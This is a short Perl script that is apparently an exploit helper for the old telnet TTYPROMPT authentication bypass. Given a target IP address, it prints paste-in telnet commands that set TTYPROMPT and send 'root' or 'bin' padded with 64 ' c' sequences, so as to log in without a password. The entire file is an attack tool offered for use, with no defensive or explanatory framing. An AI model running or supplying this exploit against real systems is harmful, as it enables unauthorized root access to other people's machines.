#!/usr/bin/perl

$address=$ARGV[0];


	if ($address !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/){
	usage();
	exit(-1);
	}

print "Type telnet at the prompt.\n";
print "Cut and paste the following to the telnet prompt:\n\n";
print "environ define TTYPROMPT abcdef";
print "\n";

print "o $address\n";

print "root";
print  " c" x 64;
print "\\n";
print "\n\n";

print "NOTE: if this does not work with root, try:\n\n";

print "environ define TTYPROMPT abcdef";
print "\n";

print "o $address\n";


print "bin";
print  " c" x 64;
print "\\n";
print "\n\n";

sub usage {

print "\nUsage:\n";
print "./emptycriss <target IP>\n\n"

}
